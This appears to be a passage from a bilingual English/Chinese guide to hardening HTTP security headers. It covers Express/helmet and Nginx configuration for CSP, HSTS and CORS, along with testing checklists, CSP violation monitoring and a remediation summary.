const express = require('express');
const helmet = require('helmet');
const app = express();
// Generate nonce for CSP
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// Security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // Deprecated, use CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);javascript
const express = require('express');
const helmet = require('helmet');
const app = express();
// 为CSP生成nonce
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// 安全标头
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // 已弃用,使用CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS配置
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP违规报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);Complete Nginx Configuration
完整Nginx配置
nginx
server {
listen 443 ssl http2;
server_name example.com;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}nginx
server {
listen 443 ssl http2;
server_name example.com;
# SSL配置
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# 安全标头
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}HTTP to HTTPS redirect
HTTP转HTTPS重定向
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
---server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
---Testing Checklist
测试清单
Automated Testing
自动化测试
- Run header scanner tool
- Check Mozilla Observatory score
- Verify SecurityHeaders.com grade
- Test with browser DevTools
- Automated tests in CI/CD
- 运行标头扫描工具
- 检查Mozilla Observatory评分
- 验证SecurityHeaders.com等级
- 使用浏览器开发者工具测试
- 在CI/CD中加入自动化测试
Manual Testing
手动测试
- Verify HTTPS redirect
- Test CSP violations in console
- Check frame embedding
- Test CORS from allowed/disallowed origins
- Verify API access restrictions
- 验证HTTPS重定向
- 在控制台测试CSP违规情况
- 检查页面嵌入限制
- 测试可信/不可信源的CORS
- 验证API访问限制
Browser Compatibility
浏览器兼容性
- Chrome/Edge (latest)
- Firefox (latest)
- Safari (latest)
- Mobile browsers
- Chrome/Edge(最新版)
- Firefox(最新版)
- Safari(最新版)
- 移动浏览器
Monitoring and Maintenance
监控与维护
CSP Violation Monitoring
CSP违规监控
javascript
// Log violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}javascript
// 记录违规信息
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// 严重违规时触发警报
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}Regular Audits
定期审计
- Weekly: Automated header scanning
- Monthly: Manual security review
- Quarterly: Full security assessment
- After changes: Regression testing
- 每周: 自动化标头扫描
- 每月: 手动安全审查
- 每季度: 全面安全评估
- 变更后: 回归测试
Best Practices
最佳实践
Header Implementation
标头实施
- ✅ Use security header middleware (helmet, etc.)
- ✅ Apply headers at infrastructure level (CDN, load balancer)
- ✅ Test in staging before production
- ✅ Start with report-only mode for CSP
- ✅ Monitor violations and adjust policies
- ✅ Document header configurations
- ✅ 使用安全标头中间件(如helmet)
- ✅ 在基础设施层面(CDN、负载均衡器)应用标头
- ✅ 先在预发布环境测试
- ✅ CSP先使用仅报告模式
- ✅ 监控违规情况并调整策略
- ✅ 记录标头配置
CSP Best Practices
CSP最佳实践
- ✅ Start strict, loosen as needed
- ✅ Use nonces or hashes for inline scripts
- ✅ Avoid 'unsafe-inline' and 'unsafe-eval'
- ✅ Use report-uri or report-to
- ✅ Regularly review and update policies
- ✅ 从严格策略开始,按需放宽
- ✅ 对内部脚本使用nonce或哈希
- ✅ 避免使用'unsafe-inline'和'unsafe-eval'
- ✅ 使用report-uri或report-to
- ✅ 定期审核并更新策略
HSTS Best Practices
HSTS最佳实践
- ✅ Start with short max-age for testing
- ✅ Ensure HTTPS works on all subdomains before includeSubDomains
- ✅ Submit to HSTS preload list
- ✅ Plan for long-term HTTPS support
- ✅ 测试阶段使用短max-age
- ✅ 确保所有子域名HTTPS可用后再添加includeSubDomains
- ✅ 提交到HSTS预加载列表
- ✅ 规划长期HTTPS支持
Summary
总结
Current Grade: F (45/100)
Target Grade: A+ (95+/100)
Estimated Effort: 2-3 weeks
Priority: HIGH - Critical vulnerabilities present
Immediate Actions:
- Fix CORS misconfiguration (today)
- Implement HSTS (today)
- Deploy CSP in report-only mode (this week)
- Enforce CSP (next week)
Expected Grade After Fixes: A (90+/100)
undefined当前等级: F (45/100)
目标等级: A+ (95+/100)
预计工作量: 2-3周
优先级: 高 - 存在严重漏洞
立即行动:
- 修复CORS配置错误(今日)
- 实施HSTS(今日)
- 部署CSP仅报告模式(本周)
- 启用CSP强制模式(下周)
修复后预计等级: A (90+/100)
undefinedNotes
注意事项
- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes
- 先在预发布环境测试标头
- CSP初始使用仅报告模式
- 启用CSP前监控违规情况
- 在安全与功能间取得平衡
- 保持标头与最佳实践同步
- 定期进行安全审计
- 记录所有标头配置
- 为团队提供标头安全培训
- 使用自动化工具持续监控
- 重大变更后重新审核标头